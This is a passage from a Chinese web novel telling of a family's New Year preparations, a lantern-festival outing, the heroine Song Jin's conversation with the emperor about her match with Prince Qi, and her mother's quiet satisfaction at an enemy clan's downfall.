虽然基本没什么好收拾的,家里院子每日都会有丫鬟是收拾,屋子的柜子底下都没有灰尘,她就意思意思地掸掸残雪,修剪一下花花草草,然后准备窗花对联 哪知道一回头,就见着宋锦站在海棠花旁边,嘴里叼着一朵花,脖子上围着一圈,衣服兜兜里还有一捧花瓣 牛铁兰心一窒,捂着胸口:“宋金金,离我的海棠花远一点!!!” 这熊孩子,真是气死她了 她养了三个月的花啊,好不容易开得好好的,大过年正好可以欣赏,就这么转过身的功夫 宋锦看着自家老娘眼中的焰火,缩了缩脖子,心虚地把兜里的海棠花瓣拍掉,狡辩:“我捡的” 牛铁兰眼神跟刀子一般剜她:“树上捡的是吧?给我一边去,别逼我大过年扇你” 宋锦嘀咕:“说得好像没扇过似的” 每年大过年都是她的受难日,根本不存在过年不打孩子的,她们家都是留在过年算总账 牛铁兰冷笑:“你再说一遍” 傻子才再说呢 宋锦缩着身子从花边溜走,远离了她老娘的爱花,看向了红梅,手指微动,牛铁兰的冷笑声传来 宋锦轻轻咳了咳,放下手里的鸡毛掸子:“我去拿红纸笔墨出来” 不让她扫地,她剪窗花总行了吧? 牛铁兰瞪了瞪她,走过去看那被糟蹋了的海棠花,心疼极了,拿起剪刀就想修剪,却发现无从下手,那小混球给她花都秃噜完了 她在镇上时候很少出门,最大的爱好就是在家里养养花种种菜,比起那些个虫子病害,最需要防的就是家里的小混球。现在在宋府,各种乱事一堆堆,她都快忘了这个落在人身上都不能算缺点的臭毛病了 牛铁兰心疼 她的花啊 这种一家人协作的事情肯定是少不了曲茂泽的,他站在一旁,看着牛铁兰满脸的心疼,好笑地走了过去:“不就是海棠花嘛,一会儿让管家” “啪” 牛铁兰没拍出去的巴掌还是落了下去,她恼:“什么叫不就是花?这是我每日精心呵护的海棠花,都这副模样了,我还不能说?” 她算是找到源头了,那小混球不爱花绝对就是源自这人 还好不是由这人看大的,不然还不知道会把人惯成什么无法无天的模样 面对她的迁怒,曲茂泽十分无奈,捏住她柔软的手,认输:“行吧,你说是什么就是什么” 如果每日多看两眼也叫精心呵护的话,她确实也没说错 牛铁兰看着他敷衍的模样,冷笑一声,甩开他的手,继续心疼地看着自己的花,思考该如何下手 …… 在经过一阵鸡飞狗跳的打扫之后 府里管家紧急带着人挑着盛开的海棠、蓝牡丹、寒菊匆匆赶来,给小院里又添了一层新意,消减了大年三十的焰火 曲茂泽则是站在桌前,手持墨笔,写着对联和福字 自家用的东西肯定不能像外面那边简陋,桌子上除了墨块以外还有研好的金粉金砚,等着一会儿写好了之后在弄花边这些 他负责写,牛铁兰就负责研磨撒粉,把那些对联一点点收好 宋府非常大,光是人住的院子就有十二个,还有两个大花园,一个马院,一个厨房,光是每个院子正门都贴,都需要十二个,就更别说还有单独的小房间 当然,曲茂泽没这么闲,也没这么有爱 他一开始,只是想给自己院子里面,大小来上六副联画符纸,保佑妻女,祈福来年 宋行之五个人闻讯赶来,五个人高马大的人围在一边眼巴巴地看着 曲茂泽无动于衷 牛铁兰看不过去,让他们几个去一边剪裁红纸,再用模子画一些窗花样式,一会儿多剪一些 就这么,本来是略微有些空荡荡的院子里突然就有些拥挤了起来 宋锦缩在竹椅里,瞥了瞥院子里的人,撇撇嘴没说什么,低下脑袋拿着剪刀剪着红纸,这个她每年都会剪,做得还是有模有样的 宋清之是第一次亲自弄这些,往日都是府里统一去外面采购的,现在自己来弄,那窗花花样复杂,他紧皱眉头,小心翼翼地下手 咔一下又坏了一个 他脚边,已经堆了半篓的红纸了 宋锦很是嫌弃,翻了里面简单的花样递过去:“剪这个,笨手笨脚的” 这话宋清之没法反驳,他嘟囔着:“我要是愿意,可以买全天下最贵的窗纸” 宋锦蜷在竹椅上,晃着脚,嫌弃:“你倒是去啊,一个个挤在这儿碍手碍脚” 宋清之嘀咕:“人在屋檐下不得不低头,不和你个小丫头计较” 宋锦白眼:“我也不和你个小矮子计较” 宋清之和宋锦差不多高,放在外面自然是不矮的,但是放在家里,他就是个小个子 两个人一个年纪最小,一个个头最小,性子又都小气,这几日因为 抢人日日都冒着火气,凑在一起嘴上就没个好话时候 其他兄弟四个明哲保身,坚决不靠近他们两个身旁 果不其然,一群人忙前忙后,就听得砰的一声,那边屋檐下,宋清之屁股底下的竹椅瘸了个腿,人就这么摔在了地上,摔下去的时候又拉着宋锦的头发 两个人呲牙咧嘴地看着对方,战况一触即发 牛铁兰看了过去 大过年的,她没有穿平日的浅色衣服,换上一身玉白为底,红梅绣纹的袍子,头上插着红梅珐琅掐丝簪,额间画着花钿,比起平日温婉,多了些脱俗和冷傲,眼神也格外有威慑 宋锦捏着的拳头立马散开,一脸无辜:“娘,他扯我头发” 宋清之捂着屁股,憋屈:“母亲,她踹我凳子” 牛铁兰微微一笑:“既然这么有劲,你俩去把马棚的对联贴上,再给牛马套上新链” 宋清之惊:“我去?” 他一个大少爷,给牛马上套? 宋锦比他有自知之明一些,知道老娘忍她很久了,撇了撇嘴,一脚踹在完全没有防备的宋清之屁股上,幸灾乐祸地做了个鬼脸,跑过去抱着装好东西的竹篓蹿开 宋清之呲着牙从地上爬了起来,还想再挣扎,讨价还价一番 曲茂泽轻飘飘看了过来:“还不走?” 宋清之神色一僵,赶紧追了过去 不就是给马棚贴联嘛,又没让他当牛做马,他去,他去就是了 看着他火烧屁股一般的模样,牛铁兰摇了摇头,没说什么,又把那些晾干的对联符纸收好,分开放在各个篮子里面 她道:“这些是你们的,你们拿回去自己院里贴,记得把纸符压枕头底下,等弄好了,我们在一起去花园里挂花灯” 平日时候,宋府只是各个主子屋内,还有府内前后门会留些烛火 牛铁兰觉得有些暗,大过年的,还是要明亮一些,她打算把家里从正门到后门清一条灯道出来,挂满彩灯烛火,到时候无论白日黑夜都是通明的,守夜也能热闹一点 就是有些费钱 但是一年到头就这么几日,她算了算银钱,感觉还能接受 往年时候,作为一家之主的宋商没这个闲心,很多时候过年都见不到他人,家里这些事情都交给了管家置办 每年府中富丽堂皇,热闹非凡,但到底少了些人气 今年,换了个一家之主,也换了个流程 宋行之看着竹篮子里的对联符纸,心中感慨万分,轻声:“劳烦母亲操心了” 牛铁兰有些许不自在,毕竟她比起宋行之也大不了几岁,怎么也生不下来这么大个儿子,她压下那股诡异感,点头:“无妨,你们若嫌麻烦,也可以让身边想小厮帮忙” 宋慎之紧紧抱着篮子,嗡着声音:“贴对联而已,又不是没有手,哪儿需要外人帮忙” 宋顺之站在一起,稳重道:“还有什么用得着我们的,母亲尽管交代就是” 宋安之面若桃花,眸如皓月:“母亲我身子骨弱,想多要个平安福” 宋慎之一脚踹了过去,冷笑:“滚一边去” 宋安之恼:“宋老三你别太过分” …… 牛铁兰还真不适应这个场面 虽然说一个儿子是儿子,五个儿子也是儿子,但是这也太多了吧 她转过头 曲茂泽噙着笑站在一边,目光全程落在她的脸上,就跟几个小子和他无关似的,她微微有些恼,伸手从背后轻轻掐了掐 他笑容一顿,目光轻轻瞥过几人 宋行之瞬间挺直:“那我们先去贴花,母亲有事就谴丫鬟唤我们” 由他带头,兄弟几个一个接一个离开,背影多少带这些仓促,和刚才的宋清之有得一拼 曲茂泽不太在意,他放下笔墨,伸手握住牛铁兰的手,勾着唇感叹:“夫人脾气可真是越来越大了” 她以前可不是这个样子的,那时候逗她,她只会红着眼,眼眸莹莹地看着他,看起来委屈又带着倔意。现在的她,不是掐人就是猜人,偶尔还有巴掌 曲茂泽忍不住感叹:“乡下的水土,确实养人” 牛铁兰恼羞成怒,一脚踩了下去:“怎么?不乐意?” 曲茂泽低低笑着,没有躲开,反而抬脚轻轻一撇,碰着她的脚尖轻轻一绊 牛铁兰瞬间失了平衡,一个踉跄往后 曲茂泽大手一伸,结结实实地搂住纤腰,将人揽入怀中,垂首看着她咬着唇瓣的羞恼模样,悠悠闲闲,一副风流公子的模样,调侃 “小娘子这般不注意,莫非是故意往在下怀里撞的?” 牛铁兰脸颊立马染上红晕,狠狠瞪着他,咬着唇:“不要脸” 说着,她扭身就要起来,可那腰间的大手纹丝不动,怎么也撇不动 曲茂泽端的一副清正的斯文模样,状似疑惑,嘴角难掩戏谑:“夫人怎么不起来?光天化日朗朗乾坤,不太好吧?” 牛铁兰深呼吸,唇角动了动,想说什么,突然脸色一变:“金金” 曲茂泽下意识松了力道,不过一瞬,怀里的人已经得了自由,反过来就是一脚,看得出来,她这些年教育孩子的时候也学了不少 他噙着笑,手一抬,轻松避开,然后捏住她纤细的脚腕,戏谑:“夫人可要小心地滑啊” 牛铁兰恼羞成怒,眼看着红意从脸颊一点点蔓延开来 曲茂泽见好就收,立马松手,拿起一旁的对联:“手都写酸了才写了这些出来,夫人说说该怎么贴” 牛铁兰磨了磨牙,在心里默念 过年,过年,大过年的,不能生气 好一会儿,她才把气给压了下去,深吸一口气,看似淡定地走了过去,然后踩着他的脚,接过篮子,微笑:“先贴福吧,福字高高挂,明年万事顺” 曲茂泽顺着她的手看去,看着那最高的屋檐,无声叹气 好记仇啊 第134章 棒打鸳鸯的戏码 屋内团圆,屋外热闹。 作为大衍朝最热闹的日子,三十这一日灯火通明,五步一烛,十步一灯 天色微暗,灯笼的光彩一点点取代明光,在各色灯笼纸下泛着五颜六色的光芒,比起中秋时候更为震撼 街边大道小巷人满为患。 宋锦自然不会错过这个热闹的,丰盛的团圆饭后,她就拉着自家娘亲出来赶灯会。 街道上人来人往,摩肩擦踵,一个不注意就会走散。 曲茂泽就像个幽灵一样跟在后面,看似没有存在感,但稳稳跟在身侧,高大的身躯挡住左右的人流,避开冲撞的行人。 宋锦脑袋上的金钗玉饰一如中秋那日被拆得干干净净,浑身没有任何点缀,却依旧不掩华贵,她眉间红钿似火,凤眸聚着万千灯彩,走在攒动的人群中格外耀眼。 总能吸引打着乱七八糟小心思的人。 她一脚踹开前方踉跄跌过来的人,似笑非笑地看了过去,那人立马就跟老鼠见了猫似的滚入人群,一会儿就没了影子。 宋锦继续看回摊子,看着上面满满的花灯,最后挑了两个并不太起眼的花灯 虎头虎脑的,说不上精致,但格外生动。 牛铁兰知道这破孩子无聊劲又犯了,又要买些乱七八糟的小玩意儿,她摇了摇头:“你悠着点买,我今天可不会给你拎东西。” “小气娘。” 宋锦付了钱,拎着两个花灯过来,拉起牛铁兰的手,把灯笼棍塞在她的手里,合上手,然后看向她旁边的曲茂泽,撇了撇嘴,把另外一个递给他,凶巴巴:“一会儿看好我娘。” 曲茂泽难得诧异,他看着手上粗糙的小老虎灯笼,迟疑:“你,不和我们一起?” 宋锦白眼:“和你们一起有什么好玩的?我娘就暂时交给你了哈,她要是走丢了,我掰了你的脑袋。” 曲茂泽看她这‘大方’的模样,总觉得其中有诈 ,让他迟疑。 怎么看怎么不对劲啊。 这孩子平日盯他跟盯什么劫匪似的,今日这么‘大方’了? 牛铁兰也有些错愕,伸手抚了抚摸她的额头。 温热的,也没发烧啊。 宋锦看着他们见鬼似的表情,很是无语:“至于吗?” 两人点了点头,很至于。 这段时间以来,夫妻俩确实重归于好,但是也就归于好,他们平日要么在府里,人来人往,要么出去,旁边跟着一双大眼睛盯着。 宋锦可以自己出去溜达,但是他们夫妻俩若是单独出去,不和她说不带她,她能闹腾几天。 现在大过年,还有灯会,就让他们出去,怎么看怎么不对劲。 牛铁兰甚至怀疑她是不是要去悄悄出去干什么见不得人的坏事。 一定够坏够有阵仗,不然她怎么可能不跟着? 面对两人的怀疑,宋锦鼓着嘴,轻哼一声,走到他们的后面,伸手抓着他们的肩膀,推着他们往前走:“你俩够了,大过年的,我难得大度一次,别逼我反悔” 她低着脑袋推着人,在那里碎碎念念了起来。 她是个占有欲很强的人,确实小气又不讲道理,恨不得娘亲身边就只有自己一个人,什么事都围着自己。 她会很快乐,但是这样她娘也太可怜了。 在镇上的时候,牛铁兰身体不好,和其他人差距太大,便只能呆在家里,这是被逼无奈。到了都城,各色的人和物很多,她感兴趣的东西就更多了,但又因为宋家树敌颇多的缘故,她还是很少出门。 她一出门就得宋锦全程跟着,严防死守,她心疼自家闺女。 宋锦也心疼自家老娘。 自家老娘花儿一样的年纪就家里蹲守寡,现在徐娘半老,男人就在身边,总不能还让人守吧?哎,算了,她就大方一点。 宋锦推着两个人,故作大方,一路还是忍不住碎碎念念说了一大堆安全注意事项,就怕自家老娘走丢了——虽然基本上没可能,这俩人因为蛊虫的事基本上连着的,隔个千百里都能找到人 她一路把人推出热闹的人群,直到走进一个冷清的巷子里,故作大方地说完,还是没忍住强调:“现在酉时,距离子时的烟花会还有两个半时辰,两个半时辰够你们玩了吧?” 牛铁兰嘴角一抽:“大过年你发什么癫呢?” 她缺这点时间吗? 宋锦昂着脑袋,振振有词:“有我这么个体贴闺女,娘你就背地里偷着乐吧” 牛铁兰又伸手摸了摸宋锦的额头,还是温热的,没烧起来,看样子脑袋还是好的,她松了口气,捏了捏人的胳膊,没好气:“大过年的别闹腾,不是要去放花灯吗?” 宋锦嘟囔:“我才不做电灯泡。” 牛铁兰:“什么?” 宋锦挥了挥手,没理会自家心思敏感的老娘,转过头伸手重重拍在曲茂泽的肩膀上,撇着嘴:“我娘就交给你了,小白脸爹,我走了” 说着,她一个飞身,当着两个人的面就直接窜上屋檐,消失在夜色中。 夫妻俩面面相觑。 一向游刃有余的曲茂泽迟疑:“她刚才叫我什么来着?” 他有些怀疑是不是外面太吵了,以至于他出现了错觉。 牛铁兰也疑惑,但是更多的还是迷茫。 养孩子可太难了,不懂事让人头疼,突然懂事了,头更疼了。 好在这次不再只是她一个人分担了,她看着曲茂泽脸上难掩的错愕,心里好受了几分,轻哼一声:“叫你小白脸呢。” 不过说是小白脸也不准确,曲茂泽的这张假脸,五官清俊而大气,剑眉星眸,一眼看去就是个中正端重的君子模样,让人觉得很是靠谱。但奈何他现在平民出身,无根无底,吃住宋府,勾搭宋府夫人,在外人看来就是吃软饭的小白脸。 他这段时间经常跟在母女后面,大摇大摆的,是个人都能看出来他们关系不一般,所以永安城里关于他们的流言蜚语也不少。 曲茂泽也不在意,他这辈子在外的名声就没好过,确认自己没有听错,他伸手把人揽入怀中,垂头眸中欣喜难掩,重新噙起笑容:“夫人年轻貌美,又富贵有才,能当小白脸,是在下的荣幸。” 他手掌宽阔,将纤细的腰肢尽收手下,隔着厚实的衣服都能感受其中热量。 牛铁兰脸颊微红,嗔:“油嘴滑舌” 曲茂泽微挑眉头,清俊的脸庞凑近了几分:“是吗?夫人说得这般肯定,想必定然尝过,不知滋味如何?” 牛铁兰一口气憋在心口,隔着昏暗的烛火,一张脸迅速发红,咬着牙一脚踩下,恼:“你能不能要点脸?” 曲茂泽轻笑一声,装模作样地叹气:“闺女都给我们相处的机会了,我再要脸,不是对不起她的好意?” 说着,他压着人靠到一边的墙上,一点点垂下头 他额间饱满,鼻梁高挺,凤眸深邃而狭长,睫翼纤长,能轻易敛住其中情绪,乍一眼看去清冷端肃,沉稳靠谱,但是仔细一看,那勾起的唇角似笑非笑,带着莫名的邪气,紧紧攥着人的目光,让人难以挪开 牛铁兰整个人被他笼在怀里,他看着清俊瘦削,但五尺有六,身形很是高大,轻易地挡住四面八方的冷风,隔着厚实的衣服,散着温热的体温,带着淡淡的桃木香,蕴得她头脑昏沉 她下意识咬着唇瓣,皓齿粉唇,一双莹莹杏眸刻在巴掌大的脸上,看起来柔顺温驯,让人忍不住想要叼着她纤细白皙的脖颈,将其圈在窝中 曲茂泽本是怀着逗弄之意,瞧着她这幅模样,眸色一点点暗了下去,他攥着纤腰的手力道加重,将人狠狠按在怀里,紧紧贴在一起。 这个姿势颇有些危险,寒风之下,远离人群的僻静小道,外面的喧闹被隔在外,四周只余下静静的呼喘声。在寒风下,像是林间追逐的狩猎,一步一步加重。 牛铁兰下意识敛住呼吸,一动不敢再动,但这姿势着实不太舒服,腰肢像是被铁具牢牢锁住,僵硬酸涩,好一会儿后,她还是没忍住轻轻挣了挣 宛如风雪中静趴的雪兔,本以藏匿好了身形,却突甩厚雪,一下子暴露了自己的方位,被早已等候的饿狼狠狠攥住,在寒风下被擒回了洞穴 外面寒风凛冽,里面沉闷炙热 晕晕乎乎之下,牛铁兰紧紧攥着他的衣襟,心想 这人说得倒也没错,她确实尝过他的油嘴滑舌,就是不管是字面意思还是背地里的,滋味都格外难耐。 …… 好事成双,处对象这种事情,也不能只有老娘来 宋锦给 他们腾了空间,踩着墙壁屋檐,飞檐走壁,穿大半个永安城,来到了高耸的城墙之上 今夜人多热闹,到处挂着花灯,所以守备也比平日多上不少,城下巡逻,城上观测,以防走水来不及反应。 宋锦蹿在城道上,从底楼上了墙顶。 城墙高耸,从这边看去能看到大半个永安城,灯火辉煌,星星点点,由一个个人,一各个花灯,穿成了一道道火龙。 炮台旁边,高大的男人一袭黑衣,挺直地站在那儿,漆黑的眼眸看着前方,带着看不清的晦暗。 宋锦一上来就看到这一幕,双腿一动,转身就要蹿走。 男人雄厚的声音传来:“明光来了啊” 宋锦眉眼一耷,蔫着脑袋转了回去,行了个乱七八糟的叩拜礼:“明光参见皇上,皇上万岁万岁万万岁” 齐晔俯视着她,看着她那张明艳的脸,有些许的恍惚。 这丫头和宋商长得实在太像了,尤其是那双凤眸,狭长漆黑,像是深不见底的洞穴里冒出的兽瞳,藏着说不清的野意。 但除去长相意外,父女俩可以说两模两样。 宋商像是深海里藏着的巨兽,偶尔浮出水面,看似平淡而温和,但在你转身不经意的时候,便会轻晃海水,猛得将人拖入深渊,尸骨无存,诡谲又阴暗。 而宋锦,一眼看去就是山里的猛虎,凶猛残烈,见到人就想过来扑一下,心情好就用爪子挠两下,呲牙咧嘴吓唬人,心情不好就咬着人从悬崖扔下去,踹着人的头骨玩。 肆意张狂,直来直往 危险,但是好防 她跪在那儿,耷拉着脑袋,瘪着嘴,浑身上下都写满了不情不愿。 齐晔缓缓开口:“你这丫头,就这么不乐意见我?” 宋锦装模作样:“哪有,能见到陛下是明光的荣幸,明光巴不得天天见到陛下,出去也能多吹两次。” 齐晔瞥她:“是吗?那你嘴上挂的是什么?” 宋锦摸了摸嘴,干干净净,没有什么残渣啊 这样想着,她就听到齐晔略带调侃的声音:“挂的油瓶都可以吃一月了,起来吧,面对一会儿又去告我的状。” 宋锦不敢起,她继续跪着:“冤枉啊,这天下就是您的,谁还能告您的状啊。” 齐晔:“也对,这也不能说告状,应该是说坏话” 宋锦瞪大眼睛,眼珠溜溜:“我没有我不是这种人,欲加之罪何患无辞,您是皇上也不能冤枉人啊。” 齐晔瞥:“欲加之罪何患无辞?那你来说说这个辞。” 宋锦立马低下脑袋:“……明光没上过学,说不来” “你倒是坦诚”齐晔看着她歪歪斜斜的模样,深深叹气,“不是给你派了教养女官吗?你都学到哪儿了?” 来了,来了。 棒打鸳鸯的戏码虽迟但到。 宋锦这段时间日日都和齐铮鬼混,虽然他什么都没说,可就是因为他什么都不说,这其中才有问题。 说好的赐婚呢? 迟迟不来,不是他忘了,就是上面那位不同意。 按照宋锦对齐铮的了解,肯定不能是他反悔,那就只能是面前这个说话一言九鼎的亲爹的问题了。 面对他的‘责问’,宋锦撇了撇嘴,心里很不乐意,面上还是老老实实:“明光愚笨,学不会” “……” 这不是坦诚,纯粹是糊弄了。 齐晔没好气:“是学不会,还是不想学?” 宋锦缩着脖子,看着怂怂的,话可一点都不怂:“都有” 别说她和齐铮的事八字还没一撇,就是生辰八字都按死了,她也不可能‘委屈’自己变成一个标准的大家闺秀啊。 她谈恋爱是为了快乐,不是为了受气的。 什么家长同不同意,看不看好的,大不了就一拍两散,别想她改。 齐晔看着她抻着脖子,一副不服气的模样,气笑:“你这是什么表情?朕还什么都没说呢。” 宋锦抻着脖子:“有些话无需多言,我懂。” 齐晔乐:“你懂什么了你就懂?” 宋锦撇过脑袋,嘀咕:“狠心公公棒打鸳鸯,可怜媳妇儿带球跑……” 齐晔嘴角一抽,没好气:“行了,都什么乱七八糟的,起来吧,再说下去朕都要成天下第一大恶人了。” 宋锦这才慢吞吞站了起来,小眼神偷偷摸摸地看了过去,鬼鬼祟祟,又忍不住嘀咕:“本来就是。” 齐晔拿起一旁的手杖敲她脑袋,没好气:“朕看你是狗胆包天。” 宋锦:“汪” 齐晔:“……别耍宝了” 他哭笑不得,这一通话下来,正经事一件没说,可真有这丫头的,也不怪他那儿子这么死心眼,都城那么多美人没见他多看一眼,就落在这缺心眼身上了。 和她相处,确实挺‘快活’的。 齐晔叹气,直入主题:“岐王这几日日日进宫求我赐婚” 宋锦眨了眨眼:“陛下应该高兴才是,教出这么个重情重义,说到做到的好儿子。” 齐晔一言难尽:“你可真敢说啊” 这丫头别的不说,脸皮是真的厚,也,会说话。 他儿子自然是全天下最好的儿郎。 宋锦最会顺杆子爬了,见他神色松动,立马又道:“明光读书少,嘴笨,不会说什么大道理,但说的都是真心话。俗话说得好,龙生龙凤生凤,岐王殿下仁慈忠厚,重亲重义,心怀百姓,心有大爱,这些都亏了陛下啊。” 齐晔压着嘴角,他摆了摆手:“别以为说些好听话就够了,朕不吃这一套。” 宋锦故作诧异:“这些是好听话吗?明光只是实话实说罢了。” 齐晔自然知道她是故意说这些的,但他能因为她故意说这些,就认定她说假话糊弄人吗? 那必须不能,他可是明君,胸怀天下,不能对小丫头有偏见。 这丫头虽然没读过什么书,但是看那明亮的大眼睛,全是机灵劲,聪明着呢。她虽然规矩差了点,喜欢到处乱跑,但是看这气血足的,身板结实的,看着都是肚子怀一个,肩上还能扛两个的好女郎。 齐晔清了清嗓子:“朕的阿铮自然是全天下最好的儿郎,你这丫头还是有点眼光。” 宋锦弯着眼睛,骄傲:“必须的。” 齐晔叹气:“可是阿铮这些年在外长大,见的太少,拥有的也太少。” 宋锦垮脸,不乐意:“皇上这是绕着弯子损我呢?不是我说,我在外面,那也有不少好儿郎喜欢的。” 齐晔看着她孩子气的模样,觉得有些好笑:“竟 然如此吗?那明光不理他们,只和阿铮一起,也是觉得朕的阿铮最好?” 宋锦撇嘴,勉勉强强:“还行吧” 他哪儿都好,就是有个没眼光的爹。 齐晔目光悠长了起来:“你们现在还年轻,自然觉得对方哪哪都好,但是以后呢?明光啊,阿铮还年轻,他现在喜欢你,你能保证他以后一辈子都喜欢你?若是他以后喜欢上别人,后院又有了别人,你又该如何呢?” 宋锦愣了一下,察觉到他话里的意思,有些诧异地看向他:“皇上这是,为明光担忧?” 齐晔笑:“宋商几番救我性命,心怀大义,你是他的女儿,便如我的女儿一般,我自然担忧于你。” 他可是皇上啊,若不是真的把她当小辈,哪儿会真的这么好说话? 宋锦还真的有些意外,她挠了挠头,也难得没有胡乱打岔,而是认真思考了一番,道:“皇上的意思我懂,您要问我愿不愿意与人共侍一夫,那我肯定不愿意。我这人性子不好,喜欢的东西不会和任何人分享。” 齐晔叹气,他自然是知道的 但凡有性子有骨气的女子,又有谁会愿意和人共侍一夫呢? 宋锦继续:“但是明光信岐王,至少此刻的岐王,他是真心实意的,此刻的明光,也是真心喜欢他的,这就够了。至于以后,就是明光自己,也不能保证以后一定会继续喜欢岐王,以己度人,也不能要求那么多吧。” 齐晔心中一哽:“也不用这般坦诚” 宋锦哈哈笑了起来,眉眼张扬,却又坦荡真诚,带着一往无前:“您也放心吧,明光和那死鬼爹虽然都不讲理,但是也没神经到那种份上。有聚有散,若我日后真的被辜负了,打不了就是狠狠揍他一顿,不至于,真的不至于。” 齐晔失笑:“你比朕想的还要聪慧。” 宋锦狡黠:“谁要我爹娘都是聪明人呢。” 这话,又应和了她之前夸人的话。 齐晔哈哈大笑:“你这丫头,不怪阿铮喜欢,朕也喜欢。” 话落,宋锦迅速后退两步,竖着耳朵,警惕地看着他,仿若他是什么大混蛋一般:“陛下,您都可以当我爷爷了。” 齐晔一口气梗在心中,不上不下,怎么也抒不出去。半晌,他恼怒地瞪了瞪她,低咒:“死丫头,跟你爹一个混蛋样。” 说着,他挥了挥手衣袖,转身离开这里,顺着城墙的另一边走去。 随着他的走动,左右隐于两侧的亲卫一个个冒了出来,前前后后地跟在两侧,把他护在其中,严防死守。 宋锦趴在城墙边上,看着那些上下突然冒出来的人,撇了撇嘴。 她就说周围怎么那么多人,她还以为是齐铮带的,结果是这位神仙,可是吓死她了。 宋锦翻过身背靠墙上,双手抱胸,轻哼一声:“还不出来” 随着她话音落下,另一边的炮台下,一身黑衣的齐铮走了出来,身形高大,俊美庄肃,凛然正义,看起来格外有安全感。 宋锦痛心疾首:“真是知人知面不知心,男人果然靠不住,一遇到事情就自己跑,竟然让我一个弱女子顶上。” 齐铮眼中闪过无奈:“弱女子?” 宋锦抬着下巴,凶巴巴:“有问题?” 齐铮忍不住笑了笑,大步走了过来,站在她的身前,低头,抵着她的额头,声音难得轻柔:“分明是女英雄。” 宋锦眉眼弯了弯,轻哼:“别以为说好听话我就原谅你了。” 齐铮漆黑的眸中映着她的影子,轻声:“那你要如何才能原谅我?” 宋锦脸上闪过狡黠,踮起脚凑到他耳边轻声 齐铮眼皮跳动,不等她说完,搂着人的腰把人脑袋按在怀里,单手扣着城墙一跃而下,神色紧绷,带着藏不住的无奈:“我们去放花灯” 宋锦鼓嘴:“不要,我们!##……” 倒是让她说啊,混蛋 第135章 找你爹去 初一喜迎春,初二回娘家,初三初四亲友蹿。 宋锦没成婚,没有这个活动,至于她老娘的娘家,东林郡太远了,她们上个月才回来,自然也不可能再跑一趟, 虽然不能回去,牛铁兰还是早早就准备了礼物,半个月前就托了镖行送过去,同理,阮家那边也准备了大包小包的各种东西送过来。 都是些贵重东西。 要是以前在镇上的时候,宋锦没见过什么大世面,对这些东西还会感些兴趣,现在好东西见多了,对于这大箱小箱的东西瞅都不瞅的,她只是用那双凤眸盯着她老娘,就跟山里的猎鹰似的,一眨不眨。 她盯—— 她再盯—— 她再再——盯 “又发什么癫?” 因为大雪,东林郡过来的东西慢了几日,在初四这日才到,牛铁兰指挥着家里的丫鬟小厮们把东西分批搬进院子库房,又整理出来送给家里各院。 主要就是一些金贵的料子皮毛,还有地方吃食。 虽然有宋清之这个聚宝盆在,宋府并不缺这些东西,但也是她这个当长辈的一点心意。 牛铁兰仔细地收拾着这些东西,熟练得就像是弄过无数次一般。 她也确实弄过无数次,以往在女园的时候她就负责整个女园的吃用,也是因此,她后面也才能逃离,也才能在离开后还能成功过上安稳日子。 牛铁兰以往曾恨过女园,也有病似的感谢过女园让她学了不少东西。不过那是以前了,现在她有孩子,爱人,父母健在,那些乱七八糟的过往,也随之淡去。 当然,这并不意味着她就这么放下那些仇怨,而是这些事情已经不需要她再操心了。 练蛊的事有曲茂泽负责,暂时一切顺利,她不需要担心自己哪天突然没命,留下不靠谱的孩子一个人造作。 至于那幕后的仇人 江南于家不是什么好对付的,但安东侯阮东林更不是什么好相与的人物。 阮东林以前不知道仇人是于家,虽然知道不少他们乱七八糟的事情,但只要不过界,不脏到他的眼前,他也不会嫉恶如仇到事事探查追究,他没这么闲。 现在知道于家就那害得他妻女分离受苦的罪魁祸首,那他可以找的茬可太多了。 于家这些年可说不上安分,不说欺男霸女这些小事,大事上,行贿贪污,兼并强夺…… 可以说道的事情不要太多,只是一时半会儿,还是要拿到确凿的证据,也得寻个合适的时机才能抛出,达到一击毙命的效果。 不过在这之前,阮东林也不会坐以待毙,他只是稍作推波助澜,于家的家主便命不久矣。 于家现在家主也是子承父业,继承了于家老家主不要脸的恶心并行,这么多年过去,不想着培养自家人,依旧只想着攀附他人,家里妻妾成群,掌管着江南最多的烟花之地。 年复一年下来,因此去世的男女数不胜数。 他们大部分无依无靠,死了也就死了,无人在意,但是总有例外的。 于家现任家主后院的第十二房姨娘就是这个例外,她原本家境殷实,却被于家盯上,最后家破人亡,家产被夺,家艺被抢,她也被逼入了于家。 二十年间,她诞有三子两女,其中两子在那些年后院争斗下去世,两女不过十二三岁便被送了出去,尸骨无存,剩下一子早早失踪,所有人都以为他早已去世。 却不想人被她藏起来,送予侥幸存活的小舅,这些年舅甥俩成了镖行,走南闯北,有些人手,也有胆有恨。 趁着岐王下巡,江南势力不敢轻举妄动,那于家子带着人手归了于家。 短短两月,于家家主奄奄一息,内部四分五裂…… 比牛铁兰想的快了很多,但是仔细一想,其实也不意外。 早在荒帝时候,于家就繁盛到了极致,在之后一点点败落,也是为此,他们才如此阴招乱使,用尽办法维护表面的繁荣。 但若富贵真的这般好维护,千百年来就不会有如此多的世家更迭了。 世家越是繁荣,越容易衰败,越是衰败,越是急切,越是急切,破绽越多。 内外交织…… 牛铁兰巴不得这些人快点死光光,也不存在什么伤春悲秋感同身受,光是想着他们遭罪,她的心情都愉悦了起来,整日脸色红润,肉眼可见的满面春风,若不是身边还有小丫鬟这些,她多少得哼个歌儿。 都说知女莫若娘,这话反过来也没什么问题。 宋锦不想事的脑瓜子转动,虽然转得不怎么灵光,但是眼睛真的很灵。 牛铁兰不禁想起了宋锦小时候经常念叨的不灵不灵,虽然话可能不是那个意思,但感觉很到位,闪得她眼睛疼。 她忍不住拿起一旁的手绢扔过去挡住,嗔:“你又干什么?神神叨叨的。” 宋锦被遮了个结实,但是手绢料子单薄,透过绢布都能看到人,她就没有掀开,顶着脸上的手绢,抱着双臂,眯着眼盯着自家老娘:“娘你有事瞒着我。” 她说的非常笃定,不带半点疑问。 牛铁兰瞥了瞥她,又扔了块手绢过去:“没事干去把账本理出来。” 宋锦拿下两块手绢,轻哼一声,就跟小狗围食似的凑了过去,盯着人:“娘你和我说说呗,年过了我又长大一岁,再过几月就及笄了,是成熟的大姑娘了,你要相信我啊。” 真靠得住就不会说这种话了。 牛铁兰不语,垂下头记录着院里的东西,一笔一笔,看着都比平日多了些急躁。 宋锦越发笃定她娘有事瞒着她,凑过去继续缠着人:“阿娘娘亲你和我说说呗,说说呗,阿娘阿娘阿娘……” 她一说起来没完没了,缠得牛铁兰脑袋都大了 但是能和这死丫头说吗? 肯定不能。 